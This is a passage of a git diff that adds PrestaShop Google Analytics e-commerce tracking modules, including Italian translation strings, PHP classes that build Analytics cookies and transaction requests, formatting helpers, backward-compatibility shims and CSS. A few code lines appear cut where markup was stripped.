transazioni e-commerce è quello di attivare i rapporti e-commerce per il profilo del tuo sito web.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_d02388589ecfd3b58e0a90e42127ca61'] = 'Per attivare il rapporto dell\'e-commerce, segui queste fasi:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_11f4b4ba23dc72ee5e86ff5a90bdde60'] = 'Accedi al tuo account'; +$_MODULE['<{ganalytics}prestashop>ganalytics_b452493b16ead8b4b25ab3fb7174b8f5'] = 'Clicca su Modifica accanto al profilo che desideri attivare'; +$_MODULE['<{ganalytics}prestashop>ganalytics_95df6d8c97e880d8f6895d824d72c353'] = 'Nella pagina Impostazioni profilo, fai clic su modifica accanto alle informazioni profilo sito web principale'; +$_MODULE['<{ganalytics}prestashop>ganalytics_5189c0be0481408c9301c377818e69dc'] = 'Modifica il tasto radio del sito e-commerce da No a Sì.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_98d12a01ab2aeeb10b7100eecf1974a8'] = 'Per impostare gli obiettivi, inserisci i dati dell\'obiettivo:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a44698a775d2fec04549ba6a2ac00491'] = 'Ritorna alla pagina principale dell\'account '; +$_MODULE['<{ganalytics}prestashop>ganalytics_dbec126ee3be2cd285a32a8d413fd1fa'] = 'Individua il profilo per il quale desideri creare gli obiettivi, quindi clicca su Modifica'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c4af40d39b97cf98040540639841e27a'] = 'Selezionare uno dei 4 spazi adibiti agli obiettivi disponibili per il profilo, quindi clicca su Modifica'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c3b99aa9b4638183dc1bf55f955ed9ae'] = 'Inserire l\'URL dell\'obiettivo. Il raggiungimento di questa pagina segna una conversione riuscita'; +$_MODULE['<{ganalytics}prestashop>ganalytics_54849fd1a3b8bdde81bfd979bc43aaa9'] = 'Inserisci il nome dell\'obiettivo come dovrebbe apparire nel tuo account Google Analytics'; +$_MODULE['<{ganalytics}prestashop>ganalytics_62034d209119c06315f59a5de39c6717'] = 'Attiva l\'obiettivo'; +$_MODULE['<{ganalytics}prestashop>ganalytics_792795e7f3cedd66897ca35349101ba8'] = 'Quindi, definire un imbuto nel seguente modo:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_467ed594f2aa9b3e802037a10bad61b1'] = 'Inserisci l\'URL della prima pagina della canalizzazione di conversione. Questa pagina dovrebbe essere una pagina comune a tutti gli utenti che cercano di raggiungere il tuo obiettivo.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_2edf3f56ba30ad663429ba0e812a2396'] = 'Inserisci un nome per questa fase.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_c909bea215f88ff0de9888dc95eed1ca'] = 'Se questa fase è un passaggio obbligatorio nella procedura di conversione, seleziona la casella a destra del passaggio.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9d25cb4b66791343ca319b3cdb82dba6'] = 'Continua a inserire i passaggi che conducono all\'obiettivo finché il percorso obiettivo è stato completamente definito. È possibile inserire fino a 10 passi, o anche solo un passo.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_1c681b64f4cd8f52aecbb55c98f5c768'] = 'Infine, configura le Impostazioni aggiuntive procedendo nel seguente modo:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_bb1ca9cfa0f3f7dbd06a2364c9a0dc9c'] = 'Se gli URL inseriti sopra sono case sensitive, segna la casella di controllo.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_047cf7562621a3639b3e04a63dc6b41f'] = 'Seleziona l\'obiettivo appropriato. ('; +$_MODULE['<{ganalytics}prestashop>ganalytics_d59048f21fd887ad520398ce677be586'] = 'Per saperne di più'; +$_MODULE['<{ganalytics}prestashop>ganalytics_f0c5b61aabf16d5ce925722b65c9aad8'] = 'sui tipi di corrispondenze e su come scegliere il tipo di corrispondenza per il tuo obiettivo.)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3dcb5dddc6b7c11d4ea76a60dc1a0466'] = 'Inserire un valore obiettivo. Questo è il valore utilizzato nei calcoli ROI di Google Analytics.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_a39f026ca75c6279ac9487265c00e3f5'] = 'Fai clic su Salva modifiche per creare l\'obiettivo e la canalizzazione o su Annulla per uscire senza salvare.'; +$_MODULE['<{ganalytics}prestashop>ganalytics_cd4952b65560a1242c68ffc980a6e515'] = 'Dimostrazione: Il processo di ordinazione'; +$_MODULE['<{ganalytics}prestashop>ganalytics_efbf206b1b60cc0400c6147723509bd6'] = 'Dopo aver attivato i rapporti e-commerce e selezionato il profilo inserire \'order-confirmation.php\' come pagina obiettivo'; +$_MODULE['<{ganalytics}prestashop>ganalytics_68db264effa9364901183d9d12fac500'] = 'Nome di questo obiettivo (per esempio \'elaborazione ordine\')'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9b8bc3519c65da8fac122f91ac5b7673'] = 'Attiva l\'obiettivo'; +$_MODULE['<{ganalytics}prestashop>ganalytics_86a358dd6df1ba0cb3565b88380ba7a6'] = 'Aggiungi \'Product.php\' come prima pagina della tua conversione '; +$_MODULE['<{ganalytics}prestashop>ganalytics_b7f896191caad09b5fc34e79f1cefa76'] = 'Dagli un nome (ad esempio, \'pagina del prodotto\')'; +$_MODULE['<{ganalytics}prestashop>ganalytics_ef7060dd05e779dcfbf82f236df43823'] = 'Non segnare la casella \'richiesta\' perché il cliente potrebbe essere visitato direttamente da un tasto \"aggiungi al carrello\', come nel blocco homefeatured sulla homepage'; +$_MODULE['<{ganalytics}prestashop>ganalytics_3bab28a0105361c49ca261ca08a19bf7'] = 'Proseguire inserendo i seguenti URL come fasi:'; +$_MODULE['<{ganalytics}prestashop>ganalytics_9bfb6e6af6e6793bfa9387e728187c87'] = '(Obbligatorio)'; +$_MODULE['<{ganalytics}prestashop>ganalytics_6a47891ae07f45802bc948d2618e36f5'] = 'Spuntare l\'opIone \'case sensitive\' '; +$_MODULE['<{ganalytics}prestashop>ganalytics_d2d0c38d112e1d775057388122ae7545'] = 'Salva questo nuovo obiettivo'; diff --git a/modules/ganalytics/logo.gif b/modules/ganalytics/logo.gif new file mode 100755 index 0000000..22eb913 Binary files /dev/null and b/modules/ganalytics/logo.gif differ diff --git a/modules/ganalytics/logo.png b/modules/ganalytics/logo.png new file mode 100755 index 0000000..f1a0674 Binary files /dev/null and b/modules/ganalytics/logo.png differ diff --git a/modules/ganalytics/translations/en.php b/modules/ganalytics/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/ganalyticscom/CHANGELOG.txt b/modules/ganalyticscom/CHANGELOG.txt new file mode 100755 index 0000000..6eaf334 --- /dev/null +++ b/modules/ganalyticscom/CHANGELOG.txt @@ -0,0 +1,9 @@ + +[07/01/2013] - Modification de la méthode getByOrder() afin d'éviter les notices + - Modification de la méthode statut() afin d'éviter les notices : check de la variable $ganalyticscom +[08/04/2013] - Modification de l'affichage des logs + - Modification de la durée de vie du cookie permettant de tracker les visites Adwords + - Insertion du script de suivi standard Analytics + - Modification de la classe X_GoogleAnalyticsMobile pour un meilleur suivi du referer + - Suppression des 0 inutiles devant le numéro de commande pour l'affichage dans l'interface Analytics + - Ajout de la variable utmcu pour communiquer la devise de la transaction à Analytics \ No newline at end of file diff --git a/modules/ganalyticscom/GanalyticsComs.php b/modules/ganalyticscom/GanalyticsComs.php new file mode 100755 index 0000000..6b7e59e --- /dev/null +++ b/modules/ganalyticscom/GanalyticsComs.php @@ -0,0 +1,41 @@ + 'isUnsignedId', 'commande' => 'isUnsignedId', 'referer' => 'isMessage', + 'gclid' => 'isMessage', 'ga_statut' => 'isUnsignedId'); + + protected $table = 'ganalyticscoms'; + protected $identifier = 'id'; + + public function getFields() + { + parent::validateFields(false); + $fields['commande'] = (int)($this->commande); + $fields['referer'] = pSQL($this->referer); + $fields['gclid'] = pSQL($this->gclid); + $fields['ga_statut'] = (int)($this->ga_statut); + return ($fields); + } + + public function getByOrder($id_order) + { + if (!Validate::isUnsignedId($id_order)) + die(Tools::displayError()); + $result = Db::getInstance()->ExecuteS(' + SELECT * FROM `'._DB_PREFIX_.'ganalyticscoms` + WHERE `commande` = '.(int)($id_order)); + if (isset($result[0])) return $result[0]; + else return false; + } +} diff --git a/modules/ganalyticscom/X_GoogleAnalyticsMobile.class.php b/modules/ganalyticscom/X_GoogleAnalyticsMobile.class.php new file mode 100755 index 0000000..52ed9f5 --- /dev/null +++ b/modules/ganalyticscom/X_GoogleAnalyticsMobile.class.php @@ -0,0 +1,194 @@ +ga_utmac = $ga_utmac; + $this->ga_utmhn = $ga_utmhn; + $this->ga_hash = $this->Hash($ga_utmhn); + $_GET['gclid'] = (isset($gclid) and !empty($gclid)) ? $gclid : false; + + // Set the time for the request + $this->time = time(); + // Set the page URI that is request + if($URI==NULL) $URI = $_SERVER['REQUEST_URI']; + // Set the referer page + $this->ga_referer = $referer; + // Set the visitor source + $source = $this->GetTrafficSource(); + + // Set the new traffic source + if($source["utmgclid"]!="") $source_str = "utmgclid=".$source["utmgclid"]; + else $source_str = "utmcsr=".$source["utmcsr"]; + $source_str .= "|utmccn=".$source["utmccn"]."|utmcmd=".$source["utmcmd"]; + if($source["utmctr"]!="") $source_str .= "|utmctr=".$source["utmctr"]; + if($source["utmcct"]!="") $source_str .= "|utmcct=".$source["utmcct"]; + + // Set all extra parameters like screen resolution, color depth + if(is_array($ga_params)) foreach ($ga_params as $key => $value) $ga_set_params .= "&".$key."=".rawurlencode($value); + else $ga_set_params = ""; + + // Check if Google Analytics cookie "__utma" already exists + if(isset($_COOKIE["__utma"])) { + + // Save cookies to local variable + $this->__utma = $_COOKIE["__utma"]; + $this->__utmb = isset($_COOKIE["__utmb"]) ? $_COOKIE["__utmb"] : null; + $this->__utmz = $_COOKIE["__utmz"]; + + $__utmb = split("\.",$this->__utmb); + + if(strpos($this->__utmz,"utmgclid")>-1) $pos = strpos($this->__utmz,"utmgclid"); + else $pos = strpos($this->__utmz,"utmcsr"); + $__utmz = split("\.",substr($this->__utmz,0,$pos)); + $__utmz[4] = substr($this->__utmz,$pos); + $__utma = split("\.",$this->__utma); + + // Check if Google Analytics "session" cookie "__utmc" exists, if not create one and update the number of visits in cookie: "__utma" + if(!isset($_COOKIE["__utmc"])) { + // Increase the number of visits + $__utma[5] = $__utma[5]+1; + // Update the time of the visit + $__utma[3] = $__utma[4]; + $__utma[4] = $this->time; + // Save cookies + $this->__utma = join(".",$__utma); + @setcookie("__utma", $this->__utma, $this->time+$this->__utma_c_time, "/", ".".$this->ga_utmhn); + @setcookie("__utmc", $__utma[0], 0, "/", ".".$this->ga_utmhn); + // Update "__utmb" cookie with the number of pageviews or create a new cookie + if(isset($_COOKIE["__utmb"])) $__utmb[1] = 1; + else $__utmb = array($__utma[0], 1, 10, $this->time); + } + else $__utmb[1] = $__utmb[1]+1; // Increase the number of pageviews in "__utmb" cookie + + // Update the traffic source + if($__utmz[4]!=$source_str && $source["utmcsr"]!="(direct)") $__utmz = array($__utmz[0], $this->time, $__utma[5], $__utmz[3]+1, $source_str); + + // Save cookies "__utmb" and "__utmz" + $this->__utmb = join(".",$__utmb); + @setcookie("__utmb", $this->__utmb, $this->time+$this->__utmb_c_time, "/", ".".$this->ga_utmhn); + $this->__utmz = join(".",$__utmz); + @setcookie("__utmz", $this->__utmz, $this->time+$this->__utmz_c_time, "/", ".".$this->ga_utmhn); + } + else { + // No Google Analytics cookies exists, create new ones and save them i local variables + $cookieRandom = rand(1000000000,2147483647); + $this->__utma = $this->ga_hash.".".$cookieRandom.".".$this->time.".".$this->time.".".$this->time.".1"; + $this->__utmb = $this->ga_hash.".1.10.".$this->time; + $this->__utmc = $this->ga_hash; + $this->__utmz = $this->ga_hash.".".$this->time.".1.1.".$source_str; + @setcookie("__utma", $this->__utma, $this->time+$this->__utma_c_time, "/", ".".$this->ga_utmhn); + @setcookie("__utmb", $this->__utmb, $this->time+$this->__utmb_c_time, "/", ".".$this->ga_utmhn); + @setcookie("__utmc", $this->__utmc, 0, "/", ".".$this->ga_utmhn); + @setcookie("__utmz", $this->__utmz, $this->time+$this->__utmz_c_time, "/", ".".$this->ga_utmhn); + } + //$this->__utmz = $this->ga_hash.".".$this->time.".1.1.".$source_str; + // Create the pageview request to Google Analytics image + if(!isset($ga_set_params)) $ga_set_params = ""; + //$this->tracking_codes[] = $this->ga_img."?utmwv=".$this->ga_utmwv."&utmn=".rand(1000000000,9999999999)."&utmhn=".$this->ga_utmhn."".$ga_set_params."&utmhid=".rand(1000000000,9999999999)."&utmr=".rawurlencode($this->ga_referer)."&utmp=".rawurlencode($URI)."&utmac=".$this->ga_utmac."&utmcc=__utma%3D".$this->__utma."%3B%2B__utmz%3D".rawurlencode($this->__utmz)."%3B"; + } + + function Hash($d) { + if(!$d || $d=="") return 1; + $h=0; $g=0; + for($i = strlen($d)-1; $i >= 0; $i--) + { + $c = (int)(ord($d[$i])); + $h = (($h << 6) & 0xfffffff) + $c + ($c << 14); + $g = ($h & 0xfe00000); + if($g!=0) $h = ($h ^ ($g >> 21)); + } + return $h; + } + + /* + Here is how GA updates the campaign tracking cookie based on referrer: + + Direct traffic is always overwritten by referrals, organic and tagged campaigns and does not overwrite existing campaign information + New campaign, referral or organic link that brings a visitor to the site always overrides the existing campaign cookie */ + + function GetTrafficSource() { + if(isset($_GET["utm_source"]) && isset($_GET["utm_medium"])) { + // The traffic source i set in the URL + $utmccn = isset($_GET["utm_campaign"]) ? $_GET["utm_campaign"] : "(not set)"; + $utmcct = isset($_GET["utm_content"]) ? $_GET["utm_content"] : "(not set)"; + return array("utmgclid"=>"", "utmcsr"=>$_GET["utm_source"], "utmccn"=>$utmccn, "utmcmd"=>"medium : ".$_GET["utm_medium"], "utmctr"=>$_GET["utm_term"], "utmcct"=>$utmcct); + } + elseif($this->ga_referer!="") { + // The treffic source is from a referral site + $search_engine = $this->GetSearchEngine(); + // Check if it's a search engine + if($search_engine) return $search_engine; + else{ + // It's not a search engine and it's a new visit. Set the referer. + $ref = $this->GetReferer(); + if(substr($ref["host"],0,4)=="www.") $ref["host"] = substr($ref["host"],4); // Remove www from URL + return array("utmgclid"=>"", "utmcsr"=>$ref["host"], "utmccn"=>"(referral)", "utmcmd"=>"referral", "utmctr"=>"", "utmcct"=>$ref["uri"]); + } + } + return array("utmgclid"=>"", "utmcsr"=>"(direct)", "utmccn"=>"(direct)", "utmcmd"=>"(none)", "utmctr"=>"", "utmcct"=>""); + } + + function GetSearchEngine() { + $ref = $this->GetReferer(); + for($ii=0;$iiga_search);$ii++) { + if(strpos(strtolower($ref["host"]), strtolower($this->ga_search[$ii][0]))>-1) { + $test1 = strpos($ref["referer"], "?".$this->ga_search[$ii][1]."="); + $test2 = strpos($ref["referer"], "&".$this->ga_search[$ii][1]."="); + $i = ($test1 > -1) ? $test1 : $test2; + if($i>-1) { + $k = substr($ref["referer"], $i+strlen($this->ga_search[$ii][1])+2, strlen($ref["referer"])); + $i = strpos($k,"&"); + if($i > -1) $k = substr($k,0,$i); + if($_GET["gclid"]) return array("utmgclid"=>$_GET["gclid"], "utmcsr"=>"", "utmccn"=>"(not set gclid)", "utmcmd"=>"(not set)", "utmctr"=>$k, "utmcct"=>""); + else return array("utmgclid"=>"", "utmcsr"=>$this->ga_search[$ii][0], "utmccn"=>"(organic)", "utmcmd"=>"organic", "utmctr"=>$k, "utmcct"=>""); + } + } + } + return false; + } + + function GetReferer() { + $referer_tmp = $this->ga_referer; + $pos = strpos($referer_tmp, "://"); + if($pos>0) $referer_tmp = $referer_tmp = substr($referer_tmp,$pos+3); + $pos = strpos($referer_tmp, "/"); + if($pos>0) return array("host"=>substr($referer_tmp, 0, $pos), "uri"=>substr($referer_tmp, $pos), "referer"=>$this->ga_referer); + else return array("host"=>$referer_tmp, "uri"=>"", "referer"=>$this->ga_referer); + } + + function SetTransaction($order_id, $amount, $shipping, $tax, $city, $region, $country, $currency) { + // Generate code to set a new transaction in Google Analytics + $this->tracking_codes[] = $this->ga_img."?utmwv=".$this->ga_utmwv."&utmn=".rand(1000000000,9999999999)."&utmhn=".$this->ga_utmhn."&utmt=tran&utmtid=".$order_id."&utmtto=".$amount."&utmttx=".$tax."&utmtsp=".$shipping."&utmtci=".rawurlencode($city)."&utmtrg=".rawurlencode($region)."&utmtco=".rawurlencode($country)."&utmcu=".$currency."&utmac=".$this->ga_utmac."&utmcc=__utma%3D".$this->__utma."%3B%2B__utmz%3D".rawurlencode($this->__utmz)."%3B"; + } + + function SetTransactionItem($order_id, $item_id, $category, $name, $price, $quantity, $currency) { + // Generate code to set a new transaction item in Google Analytics, you must call the function SetTransaction before you call this one. + $this->tracking_codes[] = $this->ga_img."?utmwv=".$this->ga_utmwv."&utmn=".rand(1000000000,9999999999)."&utmhn=".$this->ga_utmhn."&utmt=item&utmtid=".$order_id."&utmipc=".rawurlencode($item_id)."&utmipn=".rawurlencode($name)."&utmiva=".rawurlencode($category)."&utmipr=".$price."&utmiqt=".$quantity."&utmcu=".$currency."&utmac=".$this->ga_utmac."&utmcc=__utma%3D".$this->__utma."%3B%2B__utmz%3D".rawurlencode($this->__utmz)."%3B"; + } + + function GetTrackingCode() { + // Return the Google Analytics code for this request + return $this->tracking_codes; + } + } +} + +?> \ No newline at end of file diff --git a/modules/ganalyticscom/X_Tools.php b/modules/ganalyticscom/X_Tools.php new file mode 100755 index 0000000..0f2bf07 --- /dev/null +++ b/modules/ganalyticscom/X_Tools.php @@ -0,0 +1,139 @@ + PARAGRAPHES + if('nl2p' === $typ && !strchr($return,'
            ')){ + $return = str_replace("\r\n",'

            ',$return); + $return = str_replace("\n",'

            ',$return); + $return = str_replace("\r",'

            ',$return); + $return = '

            '.$return.'

            '; + } + ## BR -> NEW LINES + elseif('br2nl' === $typ){ + $return = preg_replace('/
            /i',"\n",$return); + $return = preg_replace('/
            /i',"\n",$return); + $return = preg_replace('/
            \//i',"\n",$return); + $return = preg_replace('/

            '; + foreach($val as $k=>$v){ + $r .= '

          • '.$k.' : '.X_format($v,'var_dump',1); + } + $r .= '
          '; + } + elseif(is_object($val)){ + $r = 'object('.count(get_object_vars($val)).')
            '; + foreach($val as $k=>$v){ + $r .= '
          • > '.$k.' : '.X_format($v,'var_dump',1); + } + $r .= '
          '; + } + else{ + $r = gettype($val).'('.strlen($val).') "'.$val.'"'; + } + if(!$sup){ $r .= '

        ';} + $return = $r; + } + ## MISE EN FORME D'UNE REQUETE SQL + elseif('sql' === $typ){ + $return = htmlentities($return); + $return = preg_replace('/(from|order by|limit|inner join|left join|where|having|group by)/i','
        \\1',$return); + } + return $return; + } + } + + #[F]# X_writeLogs + # @param $file string Url du fichier de logs + # @param $logs array tableau de logs + if(!function_exists('X_writeLogs')){ + function X_writeLogs($file, $logs){ + if(is_array($logs)) foreach($logs as $key => $log) X_writeLogs($file, $log); + else @file_put_contents(realpath(dirname(__FILE__)).'/'.$file, $logs."\n", FILE_APPEND); + } + } + + if(!function_exists('X_cutHtmlText')){ + function X_cutHtmlText($text, $length, $ending = '...', $exact = false) { + if(strlen(preg_replace('/<.*?>/', '', $text)) <= $length) { + return $text; + } + preg_match_all('/(<.+?>)?([^<>]*)/is', $text, $matches, PREG_SET_ORDER); + $total_length = 0; + $arr_elements = array(); + $truncate = ''; + foreach($matches as $element) { + if(!empty($element[1])) { + if(preg_match('/^<\s*.+?\/\s*>$/s', $element[1])) { + } else if(preg_match('/^<\s*\/([^\s]+?)\s*>$/s', $element[1], $element2)) { + $pos = array_search($element2[1], $arr_elements); + if($pos !== false) { + unset($arr_elements[$pos]); + } + } else if(preg_match('/^<\s*([^\s>!]+).*?>$/s', $element[1], $element2)) { + array_unshift($arr_elements, + strtolower($element2[1])); + } + $truncate .= $element[1]; + } + $content_length = strlen(preg_replace('/(&[a-z]{1,6};|&#[0-9]+;)/i', ' ', $element[2])); + if($total_length >= $length) { + break; + } elseif ($total_length+$content_length > $length) { + $left = $total_length>$length?$total_length-$length:$length-$total_length; + $entities_length = 0; + if(preg_match_all('/&[a-z]{1,6};|&#[0-9]+;/i', $element[2], $element3, PREG_OFFSET_CAPTURE)) { + foreach($element3[0] as $entity) { + if($entity[1]+1-$entities_length <= $left) { + $left--; + $entities_length += strlen($entity[0]); + } else break; + } + } + $truncate .= substr($element[2], 0, $left+$entities_length); + break; + } else { + $truncate .= $element[2]; + $total_length += $content_length; + } + } + if(!$exact) { + $spacepos = strrpos($truncate, ' '); + if(isset($spacepos)) { + $truncate = substr($truncate, 0, $spacepos); + } + } + $truncate .= $ending; + foreach($arr_elements as $element) { + $truncate .= ''; + } + return $truncate; + } + } + + + +?> \ No newline at end of file diff --git a/modules/ganalyticscom/backward_compatibility/Context.php b/modules/ganalyticscom/backward_compatibility/Context.php new file mode 100755 index 0000000..1d22bcf --- /dev/null +++ b/modules/ganalyticscom/backward_compatibility/Context.php @@ -0,0 +1,213 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 7723 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +// Retro 1.3, 'class_exists' cause problem with autoload... +if (version_compare(_PS_VERSION_, '1.4', '<')) +{ + // Not exist for 1.3 + class Shop extends ObjectModel + { + public function __construct() + { + + } + + public static function getShops() + { + return array( + array('id_shop' => 1, 'name' => 'Default shop') + ); + } + + public static function getCurrentShop() + { + return 1; + } + } +} + +// Not exist for 1.3 and 1.4 +class Context +{ + /** + * @var Context + */ + protected static $instance; + + /** + * @var Cart + */ + public $cart; + + /** + * @var Customer + */ + public $customer; + + /** + * @var Cookie + */ + public $cookie; + + /** + * @var Link + */ + public $link; + + /** + * @var Country + */ + public $country; + + /** + * @var Employee + */ + public $employee; + + /** + * @var Controller + */ + public $controller; + + /** + * @var Language + */ + public $language; + + /** + * @var Currency + */ + public $currency; + + /** + * @var AdminTab + */ + public $tab; + + /** + * @var Shop + */ + public $shop; + + /** + * @var Smarty + */ + public $smarty; + + public function __construct() + { + global $cookie, $cart, $smarty, $link; + + $this->tab = null; + + $this->cookie = $cookie; + $this->cart = $cart; + $this->smarty = $smarty; + $this->link = $link; + + $this->controller = new ControllerBackwardModule(); + $this->currency = new Currency((int)$cookie->id_currency); + $this->language = new Language((int)$cookie->id_lang); + $this->country = new Country((int)$cookie->id_country); + $this->shop = new ShopBackwardModule(); + $this->customer = new Customer((int)$cookie->id_customer); + $this->employee = new Employee((int)$cookie->id_employee); + } + + /** + * Get a singleton context + * + * @return Context + */ + public static function getContext() + { + if (!isset(self::$instance)) + self::$instance = new Context(); + return self::$instance; + } + + /** + * Clone current context + * + * @return Context + */ + public function cloneContext() + { + return clone($this); + } + + /** + * @return int Shop context type (Shop::CONTEXT_ALL, etc.) + */ + public static function shop() + { + if (!self::$instance->shop->getContextType()) + return ShopBackwardModule::CONTEXT_ALL; + return self::$instance->shop->getContextType(); + } +} + +/** + * Class Shop for Backward compatibility + */ +class ShopBackwardModule extends Shop +{ + const CONTEXT_ALL = 1; + + public $id = 1; + + public function getContextType() + { + return ShopBackwardModule::CONTEXT_ALL; + } +} + +/** + * Class Controller for a Backward compatibility + * Allow to use method declared in 1.5 + */ +class ControllerBackwardModule +{ + /** + * @param $js_uri + * @return void + */ + public function addJS($js_uri) + { + Tools::addJS($js_uri); + } + + /** + * @param $css_uri + * @param string $css_media_type + * @return void + */ + public function addCSS($css_uri, $css_media_type = 'all') + { + Tools::addCSS($css_uri, $css_media_type); + } +} diff --git a/modules/ganalyticscom/backward_compatibility/backward.php b/modules/ganalyticscom/backward_compatibility/backward.php new file mode 100755 index 0000000..c92c4d8 --- /dev/null +++ b/modules/ganalyticscom/backward_compatibility/backward.php @@ -0,0 +1,55 @@ + +* @copyright 2007-2012 PrestaShop SA +* @version Release: $Revision: 7723 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Backward function compatibility + * Need to be called for each module in 1.4 + */ + +// Get out if the context is already defined +if (!in_array('Context', get_declared_classes())) + require_once(dirname(__FILE__).'/Context.php'); + +// If not under an object we don't have to set the context +if (!isset($this)) + return; +else if (isset($this->context)) +{ + // If we are under an 1.5 version and backoffice, we have to set some backward variable + if (_PS_VERSION_ >= '1.5' && + isset($this->context->employee->id) && + $this->context->employee->id) + { + global $currentIndex; + + $currentIndex = AdminController::$currentIndex; + } + return; +} + +$this->context = Context::getContext(); +$this->smarty = $this->context->smarty; diff --git a/modules/ganalyticscom/backward_compatibility/index.php b/modules/ganalyticscom/backward_compatibility/index.php new file mode 100755 index 0000000..99a7e52 --- /dev/null +++ b/modules/ganalyticscom/backward_compatibility/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2011 PrestaShop SA +* @version Release: $Revision: 7776 $ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/ganalyticscom/cron/purge.php b/modules/ganalyticscom/cron/purge.php new file mode 100755 index 0000000..ccbdb1b --- /dev/null +++ b/modules/ganalyticscom/cron/purge.php @@ -0,0 +1,7 @@ +purgeDB(); \ No newline at end of file diff --git a/modules/ganalyticscom/css/ga.css b/modules/ganalyticscom/css/ga.css new file mode 100755 index 0000000..d78c2c5 --- /dev/null +++ b/modules/ganalyticscom/css/ga.css @@ -0,0 +1,130 @@ +#page-analtyics {position:absolute;bottom:1px;right:0;width:546px} + #page-analtyics .metric {background:#DEDEDE;border: 1px solid #ccc;float: left;font-size: 12px;margin: 0 0 -1px -1px;padding: 17px;width: 238px;} + #page-analtyics .metric .legend {background-color: #058DC7;border-radius: 5px;-moz-border-radius: 5px;-webkit-border-radius: 5px;font-size: 0;margin-right: 5px;padding: 10px 5px 0;} + #page-analtyics .metric strong {font-weight: bold;float:right} + #page-analtyics .range {color: #686868;font-size: 11px;margin-bottom: 7px;width: 100%;} + #page-analtyics15 {bottom:1px;right:0;width:546px} + #page-analtyics15 .metric {background:#DEDEDE;border: 1px solid #ccc;float: left;font-size: 12px;margin: 0 0 -1px -1px;padding: 17px;width: 238px;} + #page-analtyics15 .metric .legend {background-color: #058DC7;border-radius: 5px;-moz-border-radius: 5px;-webkit-border-radius: 5px;font-size: 0;margin-right: 5px;padding: 10px 5px 0;} + #page-analtyics15 .metric strong {font-weight: bold;float:right} + #page-analtyics15 .range {color: #686868;font-size: 11px;margin-bottom: 7px;width: 100%;} + .entetemid { + background-image: url("../../../img/admin/green-gradient.png"); + color: #FFFFFF; + font-size: 12pt; + line-height: 29px; + margin: 1px 0 1px 0; + padding-left: 15px;font-weight:bold;clear:both +} +#entourcharts{width:946px;} +#chart,#chart2,#chart3,#chart4,#chart5,#chart6,#chart7,#chart8,#chart9,#chart10{width: 454px;float:center} +.blocmid{width:454px;float:left;margin:0 14px 20px 0;padding:1px;border:1px solid #8E8E8E;} +#ga-loader{display:none;padding:0 0 0 4px;float:left} +#ganalytics{clear:both} +/*#liveVisits{color:#E23AAB}*/ +.clear{clear:both} +#ga-blocinfossup{width:946px;margin:-20px 0 20px 0;} +#ga-blocinfossup ul{float:left;width:297px;margin:0 14px 0 0;padding:1px;border:1px solid #8E8E8E;margin-top:20px} +#ga-blocinfossup li{float:left;width:297px;padding:0 0 0 0;margin:0;} +#ga-blocinfossup .entete { + background-image: url("../../../img/admin/orange-gradient.png"); + color: #FFFFFF; + font-size: 12pt; + line-height: 29px; + margin-top: 1px; + padding-left: 15px;font-weight:bold;height:30px;width:282px +} +#ga-blocinfossup .entete_configuration { + font-weight: bold; + border-top: 3px solid #127aed; + width: 299px; +} +#ga-blocinfossup .lignetop { + +} +#ga-blocinfossup .lignebottom { +} +#ga-blocinfossup .lignebottomfonce { + +} +#ga-blocinfossup .gauche { + display:block;margin:1px;background-color:#DEDEDE;padding:6px 10px 6px 10px;width:190px;float:left +} +#ga-blocinfossup .droite { + display:block;margin:1px;background-color:#EFEFEF;padding:6px 10px 6px 10px;width:63px;float:left;font-weight:700 !important;text-align:right +} +#comptlive{background: -moz-linear-gradient(top, rgba(0,0,0,0.11) 0%, rgba(0,0,0,0) 100%); /* FF3.6+ */ +background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0.11)), color-stop(100%,rgba(0,0,0,0))); /* Chrome,Safari4+ */ +background: -webkit-linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* Chrome10+,Safari5.1+ */ +background: -o-linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* Opera 11.10+ */ +background: -ms-linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* IE10+ */ +background: linear-gradient(top, rgba(0,0,0,0.11) 0%,rgba(0,0,0,0) 100%); /* W3C */ +filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#1c000000', endColorstr='#00000000',GradientType=0 ); /* IE6-9 */width:193px;float:left;height:200px;text-align:center;padding-top:37px} +#comptlive b{font-size:22px;} +#comptlive strong{font-size:88px} +#overvisites{width:764px;float:right;height:240px;margin-bottom:10px;overflow:auto;background: -moz-linear-gradient(top, rgba(0,0,0,0.11) 0%, rgba(0,0,0,0) 100%); /* FF3.6+ */ +background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(0,0,0,0.11)), color-stop(100%,rgba(0,0,0,0))); 